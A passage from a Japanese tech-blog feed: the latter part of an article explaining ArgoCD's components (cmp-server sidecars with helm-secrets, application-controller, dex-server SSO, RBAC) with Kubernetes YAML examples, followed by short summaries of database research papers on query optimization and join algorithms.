repo-serverによる暗号化キーと暗号化変数の取得cmp-serverは、暗号化キー (例:AWS KMS、Google CKMなど) を使用してSecretストア (例:AWS SecretManager、Google SecretManager、SOPS、Vaultなど) の暗号化変数を復号化します。▶ クラウドプロバイダーの暗号化キーを使用するために必要な証明書について/etc/sslディレクトリ (ディレクトリはOSによって異なる) に証明書が無く、cmp-serverがHTTPSプロトコルを使用できない可能性があります。その場合は、お好きな方法で証明書をインストールし、コンテナにマウントするようにしてください\uD83D\uDC4DapiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest ... # サイドカーのcmp-server - name: helm-secrets-cmp-server image: ubuntu:latest ... volumeMounts: # サイドカーがAWS KMSを使用する時にHTTPSリクエストを送信する必要があるため、証明書をマウントする - name: certificate mountPath: /etc/ssl ... initContainers: - name: certificate-installer image: ubuntu:latest command: - /bin/sh - -c args: - | apt-get update -y # ルート証明書をインストールする apt-get install -y ca-certificates # 証明書を更新する update-ca-certificates volumeMounts: - mountPath: /etc/ssl name: certificate volumes: - name: certificate emptyDir: {}(6) サイドカーによるプラグイン処理の取得cmp-serverは、マニフェスト管理ツールのプラグイン (helm-secrets、argocd-vault-pluginなど) を実行します。この時マニフェストの作成時のプラグインとして、ConfigMap配下のConfigManagementPluginでプラグインの処理を定義します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、プラグインとしてhelm-secretsを採用し、helm secrets templateコマンドの実行を定義します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmp-cm namespace: foodata: helm-secrets-plugin.yaml: | apiVersion: argoproj.io/v1alpha1 kind: ConfigManagementPlugin metadata: namespace: foo name: helm-secrets # このプラグイン名は、Applicationのspec.source.pluginキーで指定したもの spec: generate: command: - /bin/bash - -c args: - | set -o pipefail helm secrets template -f $ARGOCD_ENV_SECRETS -f $ARGOCD_ENV_VALUES -n $ARGOCD_APP_NAMESPACE $ARGOCD_APP_NAME . foo-plugin.yaml: | ...▶ ConfigManagementPluginのファイル名について(7) サイドカーによるプラグイン処理の実行cmp-serverはプラグインを実行し、Secretを含むマニフェストを作成します。ConfigMap配下のファイルをplugin.yamlの名前でサイドカーにマウントする必要があります。また、先ほどのUnixドメインソケットの.sockファイルや、 cmp-serverがプラグインを実行するための各バイナリファイルもマウントが必要です。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、helm-secretsプラグインを実行するサイドカー (helm-secrets-cmp-server) を作成します。apiVersion: v1kind: Podmetadata: name: argocd-repo-serverspec: containers: # repo-server - name: repo-server image: quay.io/argoproj/argocd:latest ... # helm-secretsのcmp-server - name: helm-secrets-cmp-server # コンテナイメージは軽量にする image: ubuntu:latest command: - /var/run/argocd/argocd-cmp-server env: # helmプラグインの場所を設定する - name: HELM_PLUGINS value: /helm-working-dir/plugins securityContext: runAsNonRoot: true runAsUser: 999 volumeMounts: # リポジトリのクローンをコンテナにマウントする - name: tmp mountPath: /tmp # ConfigManagementPluginのマニフェスト (helm-secrets.yaml) を \\"plugin.yaml\\" の名前でコンテナにマウントする - name: argocd-cmp-cm mountPath: /home/argocd/cmp-server/config/plugin.yaml subPath: helm-secrets.yaml # コンテナ間で通信するためのUnixドメインソケットファイルをコンテナにマウントする - name: plugins mountPath: /home/argocd/cmp-server/plugins # 任意のツールのバイナリファイルをコンテナにマウントする - name: custom-tools mountPath: /usr/local/bin # helmプラグインのバイナリをコンテナにマウントする - name: helm-working-dir mountPath: /helm-working-dir/plugins ... # Podの共有ボリューム volumes: # リポジトリのクローンを含む - name: tmp emptyDir: {} # Helmなどの任意のツールを含む - name: custom-tools emptyDir: {} # helmプラグインを含む - name: helm-working-dir emptyDir: {}▶ マウント時のConfigManagementPluginのファイル名についてv2.6では、ConfigManagementPluginのマニフェストを/home/argocd/cmp-server/configディレクトリに、plugin.yamlの名前でマウントしないといけません。これは、cmp-serverの起動コマンド (/var/run/argocd/argocd-cmp-server) がplugin.yamlの名前しか扱えないためです。ArgoCD公式の見解で、サイドカーでは単一のプラグインしか実行できないように設計しているとのコメントがありました。今後のアップグレードで改善される可能性がありますが、v2.6では、ConfigManagementPluginの数だけcmp-serverが必要になってしまいます\uD83D\uDE47\uD83C\uDFFB‍use multiple plugins in sidecar installation method \xb7 argoproj argo-cd \xb7 Discussion #12278 \xb7 GitHub▶ Kustomizeのプラグインをどのコンテナで実行するかについて▶ クラウドプロバイダーのSecretストアを採用する場合についてHow to manage Kubernetes secrets with GitOps? | Akuity04. application-controller、redis-serverapplication-controllerとはコアドメインレイヤーにあるapplication-controllerです。Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。redis-serverとはインフラレイヤーにあるredis-serverです。application-controllerの処理結果のキャッシュを保管します。仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンドArgoCD用Clusterの管理者は、ClusterにArgoCD系のカスタムリソース (例:Application、AppProjectなど) をデプロイします。▶ ArgoCD自体のデプロイにargo-helmを採用する場合についてGitHub - argoproj/argo-helm: ArgoProj Helm ChartsただしHelmの重要な仕様として、チャートの更新時に使用するhelm upgradeコマンドは、CRDを作成できる一方でこれを変更できません。HelmでCRDを作成するとHelmの管理ラベルが挿入されてしまうため、作成の時点からCRDがHelmの管理外となるように、kubectlコマンドでCRDを作成した方がよいです\uD83D\uDC4D$ kubectl diff -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"$ kubectl apply -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"ArgoCD上でHelmを使用してデプロイする場合はこの仕様を気にしなくてよいのかな、と思った方がいるかもしれないです。ですが本記事で解説した通り、ArgoCDはcmp-serverのhelm templateコマンド (この時、--include-crdsオプションが有効になっている) や、application-controllerのkubectl applyコマンドを組み合わせてマニフェストをデプロイしているため、CRDもちゃんと更新してくれます\uD83D\uDC4D\uD83C\uDFFB️Helm | Custom Resource Definitions(2) application-controllerによるArgoCD系カスタムリソースのReconciliationkube-controller-managerは、application-controllerを操作し、Reconciliationを実施します。application-controllerは、Etcd上に永続化されたマニフェストと同じ状態のArgoCD系カスタムリソースを作成/変更します。▶ カスタムコントローラーでもあるapplication-controllerについてHow Operators work in Kubernetes | Red Hat Developer(3) application-controllerによるマニフェスト取得application-controllerは、repo-serverからリポジトリのマニフェストを取得します。取得したマニフェストは、repo-serverのサイドカーであるcmp-serverが作成したものです。(4) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。application-controllerには、gitops-engineパッケージが内蔵されており、これはヘルスチェックからデプロイまでの基本的な処理を実行します。▶ gitops-engineパッケージについてv0.7.0 では以下のディレクトリからなります\uD83D\uDC47\uD83D\uDC31 gitops-engine/├── \uD83D\uDCC2 pkg│ ├── cache│ ├── diff # リポジトリとClusterの間のマニフェストの差分を検出する。ArgoCDのDiff機能に相当する。│ ├── engine # 他のパッケージを使い、GitOpsの一連の処理を実行する。│ ├── health # Clusterのステータスをチェックする。ArgoCDのヘルスチェック機能に相当する。│ ├── sync # Clusterにマニフェストをデプロイする。ArgoCDのSync機能に相当する。│ └── utils # 他のパッケージに汎用的な関数を提供する。│...gitops-engine/specs/design-top-down.md at v0.7.0 \xb7 argoproj/gitops-engine \xb7 GitHub(5) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、repo-serverから取得したマニフェストの差分を検出します。ここで、kubectl diffコマンドの実行が自動化されています。(6) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。redis-serverは、Applicationやリポジトリのコミットの単位で、application-controllerの処理結果を保管しています。$ kubectl exec -it argocd-redis-server \\\\ -n foo \\\\ -- sh -c \\"redis-cli --raw\\"127.0.0.1:6379> keys *...app|resources-tree||<キャッシュバージョン>cluster|info|<プロダクト用ClusterのURL>|<キャッシュバージョン>git-refs|<マニフェスト/チャートリポジトリのURL>|<キャッシュバージョン>mfst|app.kubernetes.io/instance||<最新のコミットハッシュ値>|<デプロイ先Namespace>|*****|<キャッシュバージョン>...(7) application-controllerによるマニフェストデプロイapplication-controllerは、Applicationの操作に応じて、Clusterにマニフェストをデプロイします。ここで、kubectl applyコマンドの実行が自動化されています。▶ application-controllerがマニフェストを操作した証拠についてmetadata.managedFieldsキーがあり、何がそのマニフェストを作成/変更したのかを確認できます。実際にマニフェストを確認してみると、確かにapplication-controllerがマニフェストを作成/変更してくれたことを確認できます。apiVersion: apps/v1kind: Deploymentmetadata: managedFields: # ArgoCDのapplication-controllerによる管理 - manager: argocd-application-controller apiVersion: apps/v1 # kube-apiserverに対するリクエスト内容 operation: Update time: \\"2022-01-01T16:00:00.000Z\\" # ArgoCDのapplication-controllerが管理するマニフェストのキー部分 fields: ...️Server-Side Apply | Kubernetes05. dex-serverdex-serverとはインフラレイヤーにあるdex-serverです。SSO (例:OAuth 2.0、SAML、OIDC) を採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダー (例:GitHub、Keycloak、AWS Cognito、Google Authなど) に送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。GitHub - dexidp/dex: OpenID Connect (OIDC) identity and OAuth 2.0 provider with pluggable connectors▶ dex-serverの必要性について2.0、SAML) を使用する場合は、dex-serverを採用する必要があります\uD83D\uDC4D️Overview - Argo CD - Declarative GitOps CD for Kubernetes仕組み(1) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(2) IDプロバイダーへの認証フェーズ委譲argocd-serverは、認証フェーズをIDプロバイダーに委譲するために、dex-serverをコールします。▶ 認証フェーズの委譲についてAuthentication and Authorization - Argo CD - Declarative GitOps CD for Kubernetes(3) dex-serverによる認可リクエスト作成dex-serverは、認可リクエストを作成します。認可リクエストに必要な情報は、ConfigMap (argocd-cm) で設定しておく必要があります。argocd-cmのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、IDプロバイダーをGitHubとし、認可リクエストに必要なクライアントIDとクライアントシークレットを設定しています。apiVersion: v1kind: ConfigMapmetadata: namespace: foo name: argocd-cmdata: dex.config: | connectors: - type: github id: github name: GitHub SSO config: clientID: ***** clientSecret: ***** # dex-serverが認可レスポンスによるリダイレクトを受信するURLを設定する redirectURI: https://example.com/api/dex/callback▶ dex-serverの設定についてdex.configキー配下の設定方法は、dexのドキュメントをみるとよいです\uD83D\uDC4DAuthentication Through GitHub |(4) dex-serverによる認可リクエスト送信dex-serverは、前の手順で作成した認可リクエストをIDプロバイダーに送信します。(5) IDプロバイダーによる認証フェーズ実施IDプロバイダー側でSSOの認証フェーズを実施します。IDプロバイダーは、コールバックURL (/api/dex/callback) を指定して、認可レスポンスを送信します。認可レスポンスはリダイレクトを発生させ、argocd-serverを介して、再びdex-serverに届きます。この後、dex-serverはIDプロバイダーのトークンエンドポイントにリクエストを送信し、またIDプロバイダーからトークン (アクセストークン、IDトークンなど) やユーザー情報を取得します。ただ、SSOの種類によって仕組みが異なるため、詳細は省略します。▶ dex-serverのコールバックURLについてDeveloper settingsタブ でSSOを設定する必要があり、この時にAuthorization callback URLという設定箇所があるはずです\uD83D\uDC4D\uD83C\uDFFB(6) argocd-serverによる認可フェーズ実施argocd-serverは、AuthZで認可フェーズを実施します。ConfigMap (argocd-rbac-cm) を参照し、IDプロバイダーから取得したユーザーやグループに、ArgoCD系カスタムリソースに関する認可スコープを付与します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、developerロールにはdevというAppProjectに属するArgoCD系カスタムリソースにのみ、またmaintainerロールには全てのAppProjectの操作を許可しています。またこれらのロールを、IDプロバイダーで認証されたグループに紐づけています。特定のArgoCD系カスタムリソースのみへのアクセスを許可すれば、結果として特定のClusterへのデプロイのみを許可したことになります\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール policy.default: role:developer policy.csv: | p, role:developer, *, *, dev/*/*, allow p, role:maintainer, *, *, dev/*/*, allow p, role:maintainer, *, *, prd/*/*, allow g, developers, role:developer g, maintainers, role:maintainer scopes: \\"[groups]\\"▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetes06. argocd-server (argocd-apiserver)argocd-serverとは最後に、インフラレイヤーにあるargocd-serverです。『argocd-apiserver』とも呼ばれます。みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能し、他のコンポーネントと通信します\uD83E\uDD84仕組み(1) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。(2) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、ポーリング対象のリポジトリのマニフェストの差分を検出します。(3) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(4) application-controllerによる処理結果取得argocd-serverは、redis-serverから処理結果を取得します。(5) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(6) IngressコントローラーによるルーティングIngressコントローラーは、Ingressのルーティングルールを参照し、argocd-serverにルーティングします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) IDプロバイダーによる認証フェーズ実施IDプロバイダー上で認証フェーズが完了します。argocd-serverは、ConfigMap (argocd-rbac-cm) を参照し、プロダクト用Cluster管理者に認可スコープを付与します。(9) argocd-serverによる認可フェーズ実施argocd-serverは、認可スコープに応じて、プロダクト用Cluster管理者がApplicationを操作可能にします。▶ NamespacedスコープモードについてapiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata: # 設定してはダメ # application.namespaces: \\"*\\" # 全てのNamespaceを許可する。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: dev-foo-project namespace: foospec: # 設定してはダメ # sourceNamespaces: # - \\"foo\\"これらにより、fooのNamespaceに属するArgoCDは、他のNamespaceにはアクセスできなくなります\uD83D\uDC4DInstallation - Argo CD - Declarative GitOps CD for Kubernetes(10) application-controllerによるマニフェストデプロイプロダクト用Cluster管理者は、ダッシュボード (argocd-server) を使用して、ClusterにマニフェストをSyncします。この時、Applicationを介してapplication-controllerを操作し、マニフェストをデプロイします。図では、App Of Appsパターンを採用したと仮定しています\uD83D\uDC68‍\uD83D\uDC69‍\uD83D\uDC67‍\uD83D\uDC66▶ App Of Appsパターンについて07. アーキテクチャのまとめ今までの全ての情報をざっくり整理して簡略化すると、ArgoCDは以下の仕組みでマニフェストをデプロイすることになります\uD83D\uDC4708. おわりにArgoCDによるデプロイの仕組みの仕組みをもりもり布教しました。ArgoCDは、UIが使いやすく、仕組みの詳細を知らずとも比較的簡単に運用できるため、ユーザーフレンドリーなツールだと思っています。もしArgoCDを使わずにマニフェストをデプロイしている方は、ArgoCDの採用をハイパー・ウルトラ・アルティメットおすすめします\uD83D\uDC4D謝辞ArgoCDの設計にあたり、以下の方に有益なプラクティスをご教授いただきました。@yaml_villager さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","isoDate":"2023-05-02T05:42:57.000Z","dateMiliSeconds":1683006177000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"現代のクエリオプティマイザの基礎となる技術をまとめた論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/15_query_optimization_overview","contentSnippet":"この記事の趣旨1998年に発表されたクエリオプティマイザの基礎としてとくに重要な手法をまとめた論文を読みました。An Overview of Query Optimization in Relational Systems著者についてSurajit Chaudhuriによる論文Microsoft所属の研究者でRDBMSの研究を行なっており、近年ではCloudにおけるDBMSの研究を行なっている。概要RDBMSが提案された1970年代からクエリ最適化は大規模で幅の広く研究が行なわれてきた。この論文では執筆当時(1998年)までの重要な研究の基礎を説明している。手法探索空間統計情報とコストの推定列挙アルゴリズムアルゴリズムについて説明している。論文内では拡張可能なオプティマイザとして、StarburstとVolcano/Cascadeの2種類のオプティマイザの詳細を論じている。最新(当時)の最適化リアライズドビューについて説明している。作業時間read31:4031:40author33:402:00summary52:5519:15感想ベクトル化やパラレルジョインで扱われていたVolcanoオプティマイザの端に触れることが出来ました。内容としては基礎的な内容が多いものの、知らない概念もいくつかあり引用している論文も読みたいです。クエリ最適化の基礎を学ぶのに非常にいい内容でした。","isoDate":"2023-05-02T01:54:29.000Z","dateMiliSeconds":1682992469000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSとクライアント間におけるデータ転送を最適化する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/14_data_transfer_between_server_and_client","contentSnippet":"この記事の趣旨2017年に出版されたリモートDBMSとクライアント間の大量データ転送を最適化する手法を提案する論文を読みました。Don’t Hold My Data Hostage – A Case For Client Protocol Redesign著者についてMark Raasveldt、Hannes Muhleisenらのグループによる論文。いずれもCentrum Wiskunde & Informaticaの所属で、DuckDBのCxO。DBMSと分析システムにおけるパフォーマンス最適化を研究している。問題意識DBMSからクライアントプログラムに大量のデータを転送することは一般的なタスクである。例えばRやPythonなどを用いた分析システムはしばしばデータベース・インターフェースを利用してデータの取得を行なっている。一方でネットワーク越しにデータを転送することはレイテンシを増加させ、転送時間を長引かせる要因である。そのため分析用途で大量のデータ転送を避け、一部のデータをサンプルとして利用するに止まることが多い。このアプローチはパフォーマンスの低下を押さえられるものの、分析や機械学習の精度を下げることに繋がる。とくに既存のクライアントではネットワークによるレイテンシとスループットの制限に大きな影響を受けパフォーマンスを劣化させる。この問題はデータベースが別マシンやクラウドで動作するときにより大きな問題となる。手法本論文では既存のシリアライズ手法と圧縮手法によるパフォーマンスへの影響を計測し、新しいプロトコルとして以下の特性を持つ手法を提案している。1. チャンク毎のデータ転送と(デ)シリアライゼーション1. ヒューリスティックによる圧縮方法の決定1. text/binaryによるカスタムシリアライゼーションを使用する1. NULL終端によるテキストの取り扱い実験結果提案手法を実装したMonetDB(表内ではMonetDB++)とPostgreSQL(表内ではPostgreSQL++)を既存のDBMSやnetcatと比較することで評価を行なっている。TCP-Hのlineitem、American Community Survay、Airline On-Time Statisticsの3つのデータセットで評価を行なったところ、ローカル通信における非圧縮netcatを除き殆どのケースでMonetDB++系が最良のパフォーマンスを発揮し次点でPostgreSQL++系が優れた結果を残している。Table 10Table 11Table 12PostgreSQLに比べMonetDBが優れている理由はPostgreSQLの行指向データを列指向に変換するコストのためである。作業時間read31:2131:21author35:384:17summary70:1334:35感想論文出版時にはTPC/IPプロトコルが前提でQuic登場前のため、ネットワークプロトコル自体は考慮されていない。現在であればTPC/IPとQuicに適合した手法の比較が行なわれると思うので気になるところ。","isoDate":"2023-05-01T03:34:18.000Z","dateMiliSeconds":1682912058000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"SQL ServerにおけるUDF最適化の論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/13_sql_server_udf_optimization","contentSnippet":"この記事の趣旨2017年に発表されたSQL ServerでUDFを最適化しているFroidという手法についての論文を読みました。Froid: Optimization of Imperative Programs in a Relational Database著者についてKarthik Ramachandra、Kwanghyun Park、K. Venkatesh Emani、Alan Halverson、Cesar Galindo-Legaria、Conor Cunninghamのグループによる論文。ほとんどの著者はMicrosoftに所属しており、いずれもトランザクショナルワークロードでのRDBMSの最適化や分析ワークロードにおけるRDBMS最適化の研究をしている。問題意識RDBMSではSQLによるデータ処理アプローチと、UDFやストアドプロシージャなどによる命令型のデータ処理アプローチを提供している。SQLによるデータアクセスは高度に最適化されてきた一方で、命令型のデータ処理は非効率なため性能を阻害し利用を禁止している組織すらある。UDFによるデータアクセスは非効率であるものの、SQLに比べ下記のような利点を提供するため幅広く利用されているのも事実である。1. SQL間でコードの再利用方法を提供する1. 複雑なビジネスロジックやMLアルゴリズムなどSQLでは難しい表現を可能にする1. 単純なSQLの組み合わせのため、ユーザーの意図が明確に表現できるこれらのメリットを享受するためにRDBMSにおける命令型データアクセス手法のパフォーマンスを向上しする必要があった。手法提案手法であるFroidはMicrosoft SQL Serverにおける命令型コードのパフォーマンス向上の手法として、UDFを複雑なサブクエリとしてみなすアプローチを取っている。UDFを構成する命令はDECLARE、SELECT、IF/ELSE、RETURN、他のUDF、リレーショナルオペレーションの6つに分ることができる。提案手法ではこれらの命令を一般的なT-SQLに置き換え、Apply演算により一つの関係式に結合する方法で実現している。Table 1命令が一般SQLに置き換えられることでUDFに対して、SQLに用いられていた高度な最適化を導入することが出来る。また提案手法ではい以下の理由から、SQLとして命令を置換するときにクエリ最適化時に行なうのではなくバインド時に置換をしている。1. 実際のワークロードでの実験ではほぼ全てのケースでバインド時のほうが性能がよかった1. クエリオプティマイザの変更が不要1. バインディング時に特定の最適化を行なえるとくにクエリオプティマイザの変更はSQL Serverが商用データベースなため重要であった。作業時間read28:5028:50author32:103:20summary57:0024:50","isoDate":"2023-04-28T02:29:05.000Z","dateMiliSeconds":1682648945000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSの歴史とNewSQL","link":"https://zenn.dev/nnaka2992/articles/history_of_db_and_newsql","contentSnippet":"この記事はDBMSの登場以前から現代のDBMSを取り巻く環境までを振り返ることで、なぜNewSQLが必要とされ登場したのかをまとめます。 おことわり筆者はあくまでDBMSユーザーであり、研究者ではないため内容は個人の見解です。また対象読者はある程度DBMSに関わりがあり、OLTPやOLAP、列指向や行指向といった基本的な単語を理解しているものとします。またNewSQLの技術的詳細はスコープ外とします。 DBMS以前データベースという言葉は1950年代に米軍が情報基地を集約したことに由来します。一方で学術的なデータベースの起源はW. C. McGeeが1959年に発表...","isoDate":"2023-04-26T14:28:19.000Z","dateMiliSeconds":1682519299000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"中間結果が莫大になるときの結合を最適化する最悪ケース最適化結合をRDBMSに適応する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/12_worst_case_optimal_join","contentSnippet":"この記事の趣旨2018年に発表された分析ワークロードなどで発生しがちな最終結果に比べ、非常に大きな中間結果を作成してしまうクエリを多方向結合で最適化する論文を読みました。Adopting Worst-Case Optimal Joins in Relational Database Systems著者についてMichael Freitag、Maximilian Bandle、Tobias Schmidt、Alfons Kemper、Thomas Neumannによるグループの論文いずれの著者もDBMSにおける最適化を中心に研究しており、それぞれ分析ワークロードにおける最適化や最新のハードウェアにおける最適化などを研究している。問題意識従来のRDBMSにおける結合処理のほとんどはバイナリ結合に依存して複数のリレーションにまたがるクエリを処理してきた。数十年に渡る研究によりバイナリ結合は幅広い柔軟性と優れた性能を発揮するようになった。その一方でバイナリ結合による実行計画は特定のワークロードでは最適ではないケースを示すことが知られている。主な原因として実際のクエリ結果に比べて非常に大きな中間結果を生成するためである。とくにPK以外のキーによる結合が多くなる分析ワークロードではそのような状態を避けることが難しく、またグラフ分析のようなクエリパターンでも多く見られる。近年の論理的な進歩により中間結果の列挙を避ける多方向結合のアルゴリズムが開発可能になった。この手法はバイナリ結合計画より優れた実行時間を保証できるため、RDBMSの堅牢性を大幅に向上させる可能性を持っている。しかし現状最悪ケース最適化結合アルゴリズムでは以下のような問題を抱えている。1. 膨大なストレージとメンテナンスを必要とする結合に参加出来るカラムを含むインデックスを必要とする。1. RDBMSは挿入と更新のサポートが必要なものの、既存のアルゴリズムは高価な事前計算を必要とする。そのため本論文は以下の制約を満たすアプローチを提案している1. 多方向結合が有益な場合のみ多方向結合を使用するオプティマイザを必要とする。1. 実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。手法提案手法では比較ベースではなくハッシュベースの結合のため、2の「実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。」という要素の考慮を除いている。またオプティマイザについては既存のコストベースのものを拡張し適応している。提案手法では潜在的に成長している結合のカスケードを最悪の場合の最適結合に置き換えることで、最適化されたバイナリ結合計画を洗練させるヒューリスティックなアプローチを提案している。通常の結合順序最適化で使用されるのと同じカーディナリティ推定値に基づいて、中間テーブルが膨大になる結合を特定する。作業時間read22:1322:13author25:483:35summary52:5826:50感想とても難しい内容に感じてしまい、殆ど頭を通りすぎてしまった気がする。今まで最適化は触れずに来たため、理解が浅い領域だった。よくよく考えるとDBMSの話しに最適化が登場するのはあたりまえなので、今後はその方面にも触れて行きたい。","isoDate":"2023-04-26T02:06:46.000Z","dateMiliSeconds":1682474806000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"gptstudio = ChatGPT + RStudioがおもしろい","link":"https://blog.atusy.net/2023/04/26/gptstudio/","contentSnippet":"ChatGPTを使ってRStudio上でのコーディングを支援するgptstudioパッケージが登場しました。姉妹製品に[gpttoools]パッケージもあります。利用にはOpenAIのAPI Keyが必要にです。生成するトークンに対する従量課金制ですが、$5のお試し枠がついてます。","isoDate":"2023-04-26T00:00:00.000Z","dateMiliSeconds":1682467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"マルチコアメインメモリにおけるソートジョインとハッシュジョインのパフォーマンスを検証した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/11_join_performance_comparison","contentSnippet":"この記事の趣旨2013年に発表された\\"Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited\\"という論文を読みました。当時最新のアルゴリズムとハードウェアにおける、ソートとハッシュによる結合のパフォーマンスを比べた論文です。Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited著者についてCagri Balkesen、Gustavo Alonso、Jens Teubner、M. Tamer Ozsuらのグループによる論文いずれもDBMSにおけるクエリ最適化やビッグデータにおけるパフォーマンスを研究している。またGustavo Alonsoはハードウェアや分散システムもメインのフィールドとしている。問題意識DBMSにおいて常にソートマージとハッシュ結合の性能比較が行われており、最新の研究ではSIMDやNUMAへの適正に基づいてソートマージがより優れていると結論づけられていた。しかしこれらの分野は常に研究が重ねられ、過去の検証時には登場していなったハッシュ結合の最適化手法が生れた。この論文ではそれらを適用し再度ソートマージとハッシュ結合の性能比較を行なう。手法本論文では以下に分けて結合手法の評価を行なっている。1. ソートフェーズの評価SIMDソートアルゴリズムとC++のSTLソートアルゴリズムを比較している。マージフェーズの評価入力サイズの調整によるマージフェーズの最適化パーマンスを検証している。ソートマージジョインにおける影響要因の特定結果結合対象のデータサイズに拘わらずハッシュによる結合がソートベースの結合のパフォーマンスを上回っている。Figure 14ソートマージによる結合は入力サイズが著しく大きくなったときのみハッシュ結合のパフォーマンスに近づく。Figure 15ソートマージ、ハッシュ結合におけるデータの偏りはパフォーマンスに大きな影響を及ぼさなかった。Figure 16いずれのアルゴリズムも物理的なコア数では線形にスケールした。Figure 17作業時間read23:1123:11author27:093:58summary60:1232:57","isoDate":"2023-04-24T02:23:54.000Z","dateMiliSeconds":1682303034000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"RDBでの結合手法を比較した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/10_join_method_comparison","contentSnippet":"この記事の趣旨2016年に発表された\\"An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory\\"という論文を読みました。様々な結合手法を包括的に比較した論文でどのような結合方法がどのような時に適しているかを示しています。An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory著者についてStefan Schuh、Xiao Chen、Jens Dittrichのグループによる論文。いずれもDBMSや分析システム、Hadoopなどにおける検索高速化・最適化の研究を行なっている。問題意識関係結合はほとんど全てのクエリプランにおいて中核をなす処理であり、定期的に研究・改良され再検討されてきた。新たな手法が提案され実験を行なわれるものの、それぞれ結果において比較を困難にする要素や幾らかの矛盾を孕んでいた。例えば同じハッシュベースの結合アルゴリズムの比較でも実装が異なったり、複数の論文でパフォーマンス比較で正反対の結果を示しているためである。そのため単純に論文執筆時点で最も高速な結合アルゴリズムを結論づけることが困難であった。手法本論文では結合方法を以下の3つに分類した1. パーティションベースハッシュジョインパーティションに分割し結合する手法。ハッシュテーブルの構築と結合されるデータの探索のキャッシュミスを最小にする事を目的としている。非パーティションベースハッシュジョインパーティションテーブルを構築しながら結合を行なう手法で、マルチスレッドと順番に依存しない実行によりキャッシュミスのパフォーマンス劣化を隠蔽している。ソートマージジョインSIMDによりベクトル化される。検証ではこれらの結合方法を以下の3つのテストで使用するために、全部で13のアルゴリズムを検証している。1. ブラックボックス比較ブラックボックス的に比較する。ホワイトボックス比較ブラックボックス比較で検証する結合方法に先行研究で示された最適化を施した上で比較を行なう。パラレルラディックスジョイン比較Table 